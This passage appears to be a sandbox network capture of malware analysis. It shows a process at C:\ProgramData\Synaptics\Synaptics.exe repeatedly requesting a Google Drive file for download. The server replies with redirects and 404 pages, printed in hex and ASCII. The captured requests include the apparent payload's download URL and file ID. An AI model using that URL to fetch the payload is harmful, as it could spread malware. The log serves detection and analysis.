2025-01-02 19:28:58 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 6e 77 57 6c 6c 4c 33 58 57 6d 62 71 31 75 77 45 47 6c 72 38 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="tnwWllL3XWmbq1uwEGlr8g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:58 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	50185	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:57 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:58 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7sxEbNS76X6pgP2WsCwOOMjL4inhb2FfK8gxzAcj7Zp5b-OCWjiyZn6QQmN9mMlg4l Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:58 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ZbbT_gl7wNOg7GJv-0E9DQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:58 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:58 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 35 35 58 37 32 4a 30 6d 77 34 6c 75 71 48 4b 41 43 38 2d 61 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="955X72J0mw4luqHKAC8-ag">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:58 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	50192	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:58 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-aH2ZG3gpm9YhupW2-h7bXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	50194	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:58 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:59 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC57qBg0LQXbAF_6JJ8kSpqUIz-f0rDNfj3JpRXKil9Z24WuaLqpcW4FQKx8p6jGm_9MHXeia5I Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:59 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-EAZiL7Mi-yzXcSfvcF9gRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:59 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:59 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5a 38 77 62 4e 35 79 4c 32 52 4b 74 4a 75 61 52 34 45 63 38 54 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Z8wbN5yL2RKtJuaR4Ec8TQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:59 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	50193	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:58 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-7q3ptdO_WN2hCL7QxacNZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	50195	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:59 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:59 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5xScwd9Emr_5lJa8faC5DPsTS2UdgqYRMkiDSJBWCBkLG5dXup1XHahs2znXWNhWATMJQ3YZM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:59 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-F5XKtyB3F5uu1IXOTOLPNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:59 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:59 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 5f 54 36 6e 47 38 66 4a 73 46 6b 61 79 4b 59 58 53 5f 72 77 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Y_T6nG8fJsFkayKYXS_rww">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:59 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	50197	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:59 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	50199	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:59 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	50198	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:59 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	50201	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:00 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:29:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-X_Yt8cSQ9OK6AgJkYhu4AA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	50202	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:00 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:29:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EsjRnr7YGdMaHV5TeVCGLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
